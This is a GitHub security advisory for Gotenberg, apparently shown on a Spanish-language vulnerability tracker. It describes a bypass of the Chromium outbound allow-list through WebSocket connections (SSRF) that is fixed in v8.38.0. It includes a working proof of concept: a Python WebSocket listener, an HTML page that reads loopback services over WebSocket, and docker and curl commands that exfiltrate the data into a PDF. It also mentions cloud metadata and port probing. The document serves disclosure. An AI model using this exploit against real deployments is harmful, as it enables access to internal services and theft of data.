GHSA-73VQ-MH8C-27WG
WebSocket connections bypass outbound allow-list policy (SSRF)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.38.0 | github.com/gotenberg/gotenberg/v8 · -2 d desde divulgación | |
| Divulgación | Publicada | GHSA-73VQ-MH8C-27WG divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
When an operator restricts outbound access with --chromium-allow-list /
--chromium-deny-list but does not enable the IP-class flags
(--chromium-deny-private-ips / --chromium-deny-public-ips, both default to
false), the configured URL policy is not enforced against WebSocket
connections opened by page JavaScript. A WebSocket to 127.0.0.1, ::1,
localhost, or link-local addresses (169.254.169.254 — cloud instance
metadata) completes successfully.
Actually gotenberg detects the violation and writes "warn" level log with message "{{ws://ip:port/some/route}} does not match any expression from the allowed list: value filtered", but actually but the connection is left intact. HTTP requests to the same blocked resource is banned properly, but websockets could exfiltrate data.
Details
- WebSocket handshakes are invisible to the request interceptor.Chromium never surfaces a WebSocket handshake as fetch.EventRequestPaused,so listenForEventRequestPaused (which can block viafetch.FailRequest, events.go:158-169) never sees it. This is documented inthe code's own comment at pkg/modules/chromium/events.go:54-68.
- The WS listener validates but cannot block.listenForEventWebSocketCreated (pkg/modules/chromium/events.go:69-94)calls gotenberg.FilterOutboundURL and, on rejection, only doeslogger.WarnContext(err.Error()) — per its own comment it "records anoperator-visible warning". The comment states the connection "is severed bythe pinning proxy, which every WebSocket handshake traverses once theimplicit loopback / link-local proxy bypass is removed".
- That removal is gated on the IP-class flags only.pkg/modules/chromium/browser.go:205-225:
if b.arguments.denyPrivateIPs || b.arguments.denyPublicIPs { opts = append(opts, chromedp.Flag("proxy-bypass-list", "<-loopback>"))}
With a lists-only configuration this flag is absent, so Chromium bypassesthe pinning proxy for loopback/link-local destinations entirely and thehandshake goes direct. Neither enforcement layer fires; the operator sees a"does not match any expression from the allowed list" warning while theconnection is established.
- The project clearly intends the lists to cover WebSocket.httpLikeScheme (pkg/gotenberg/outbound.go:258-263) includes ws/wss;both listeners were introduced for issue #1011; and the --chromium-allow-listhelp text (pkg/modules/chromium/chromium.go:478) markets the lists as acontrol for internal hosts (example pattern ^https?://internal\.svc(:|/|$)).
- Default state of the flags: --chromium-deny-private-ips defaults tofalse (chromium.go:480), so a lists-only configuration is a natural,documented setup in which this gap exists.
Proof of concept
as PoC i will use
1. some websocket listener service that simulating internal services like grafana etc.:
> cat list.py
import socket, base64, hashlib, struct, threading, json, datetime
def make_frame(msg):
b = msg.encode()
if len(b) < 126:
return bytes([0x81, len(b)]) + b
else:
return bytes([0x81, 126]) + struct.pack(">H", len(b)) + b
def read_frame(conn):
hdr = conn.recv(2)
if not hdr or len(hdr) < 2:
return None
length = hdr[1] & 0x7F
if length == 126:
length = struct.unpack(">H", conn.recv(2))[0]
elif length == 127:
length = struct.unpack(">Q", conn.recv(8))[0]
masked = bool(hdr[1] & 0x80)
mask = conn.recv(4) if masked else b""
payload = conn.recv(length) if length else b""
if masked and payload:
payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
return payload.decode("utf-8", "replace")
SERVICES = {
"/": {
"name": "Generic Internal API",
"data": json.dumps({
"service": "internal-api",
"timestamp": datetime.datetime.now().isoformat(),
"environment": "production",
"note": "demo payload - not real secrets",
}, indent=2)
}
}
def is_ws_upgrade(headers_text):
lower = headers_text.lower()
return "upgrade: websocket" in lower and "connection:" in lower and "upgrade" in lower
def handle(conn, addr):
try:
conn.settimeout(15)
data = b""
while b"\r\n\r\n" not in data:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
text = data.decode("latin-1", "replace")
first_line = text.split("\r\n")[0] if text else ""
method = first_line.split(" ")[0] if " " in first_line else "GET"
path = first_line.split(" ")[1] if " " in first_line else "/"
service = SERVICES.get(path, SERVICES["/"])
if is_ws_upgrade(text):
# real WebSocket handshake only
key = ""
for line in text.split("\r\n"):
if "Sec-WebSocket-Key" in line:
key = line.split(": ")[1].strip()
accept = base64.b64encode(
hashlib.sha1((key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").encode()).digest()
).decode()
conn.sendall((
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Accept: {accept}\r\n\r\n"
).encode())
print(f"[WS ] handshake: {addr} path='{path}' ({service['name']})")
conn.sendall(make_frame(service["data"]))
print(f"[WS ] sent {len(service['data'])} bytes")
try:
msg = read_frame(conn)
if msg:
print(f"[WS ] browser sent: {msg[:80]}")
except Exception:
pass
else:
# plain HTTP response, regardless of method
body = service["data"].encode()
resp = (
"HTTP/1.1 200 OK\r\n"
"Content-Type: application/json\r\n"
f"Content-Length: {len(body)}\r\n"
"Access-Control-Allow-Origin: *\r\n"
"Connection: close\r\n\r\n"
).encode() + body
conn.sendall(resp)
print(f"[HTTP] {method} {addr} path='{path}' ({service['name']}) -> 200")
except Exception as e:
print(f"[!] error: {e}")
finally:
try:
conn.close()
except Exception:
pass
def main():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 9999))
s.listen(16)
print("=== Internal Service Simulator (HTTP+WS aware) ===")
print("Listening on :9999")
print("====================================================")
while True:
conn, addr = s.accept()
threading.Thread(target=handle, args=(conn, addr), daemon=True).start()
if __name__ == "__main__":
main()
- test_schemes.html which would fetch via websockets internal services
<!-- test_schemes.html -->
<!DOCTYPE html>
<html>
<body>
<pre id="out">testing...</pre>
<script>
const results = {};
const target = "127.0.0.1:9999";
function done() {
document.getElementById("out").innerText = JSON.stringify(results, null, 2);
}
// HTTP — просто fetch на тот же listener
fetch("http://" + target + "/", { mode: "cors" })
.then(r => r.text())
.then(body => {
results["http"] = "OPEN";
results["http_data"] = JSON.parse(body); // покажет реальный payload в PDF
})
.catch((e) => { results["http"] = "BLOCKED: " + e.message; });
// HTTPS — долетит до TCP, но упадёт на TLS handshake, т.к. listener не TLS
fetch("https://" + target + "/", { mode: "no-cors" })
.then(() => { results["https"] = "OPEN"; })
.catch((e) => { results["https"] = "BLOCKED/TLS-FAIL: " + e.message; });
// WS
const ws = new WebSocket("ws://" + target + "/grafana");
ws.onopen = () => { results["ws"] = "OPEN"; };
ws.onmessage = (e) => {
results["ws_data"] = e.data; // покажет grafana credentials в PDF
ws.close();
};
ws.onerror = () => { results["ws"] = "BLOCKED"; };
setTimeout(done, 5000);</script>
</body>
</html>3. working gotenberg instance with flag --chromium-allow-list='^http://127\.0\.0\.1:8000' :
docker run --rm --network host \
gotenberg/gotenberg:8.37.0 gotenberg \
--chromium-allow-list='^http://127\.0\.0\.1:8000'
4. now we just send http request like this
> curl -s \
-F "url=http://127.0.0.1:8000/test_schemes.html" \
-F "waitDelay=6s" \
-o result_schemes1.pdf \
http://127.0.0.1:3000/forms/chromium/convert/url
and then we can see that websocket request is working but not http and we get rendered PDF:
{
"http": "BLOCKED: Failed to fetch",
"https": "BLOCKED/TLS-FAIL: Failed to fetch",
"ws": "OPEN",
"ws_data": "{\n \"service\": \"internal-api\",\n
\"timestamp\": \"2026-10-04T19:25:22.632691\",\n
\"environment\": \"production\",\n
\"
}
but if we will start gotenberg without flag --chromium-allow-list='^http://127\.0\.0\.1:8000':
> docker run --rm --network host \
gotenberg/gotenberg:8.37.0 gotenberg
and then again do request
> curl -s \
-F "url=http://127.0.0.1:8000/test_schemes.html" \
-F "waitDelay=6s" \
-o result_schemes.pdf \
http://127.0.0.1:3000/forms/chromium/convert/url
we get rendered result_schemes.pdf:
{
"ws": "OPEN",
"ws_data": "{\n \"service\": \"internal-api\",\n
"http": "OPEN",
"http_data": {
"service": "internal-api",
"timestamp": "2026-10-04T19:25:22.632691",
"environment": "production",
"note": "demo payload - not real secrets"
}
\"timestamp\": \"2026-10-04T19:25:22.632691\",\n
\"environment\": \"production\",\n
\"
}
Impact
Server-Side Request Forgery (SSRF) via an outbound-policy enforcement gap; protection-mechanism failure.
Who is impacted: deployments that restrict Chromium's outbound access with the allow/deny-lists while leaving --chromium-deny-private-ips / --chromium-deny-public-ips at their default (false). This is a documented, recommended configuration - the flag help text itself suggests allow-listing internal hosts. Attackers: anyone who can submit a conversion URL, or who controls content rendered from an allow-listed origin (e.g. stored XSS on an allowed host).
Even without a WS-capable service, open/closed port enumeration is possible via ws.onopen vs ws.onerror timing.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.38.0 | -2 d | v8.40.0 no afectada |
8.38.0v8.38.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-73vq-mh8c-27wgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
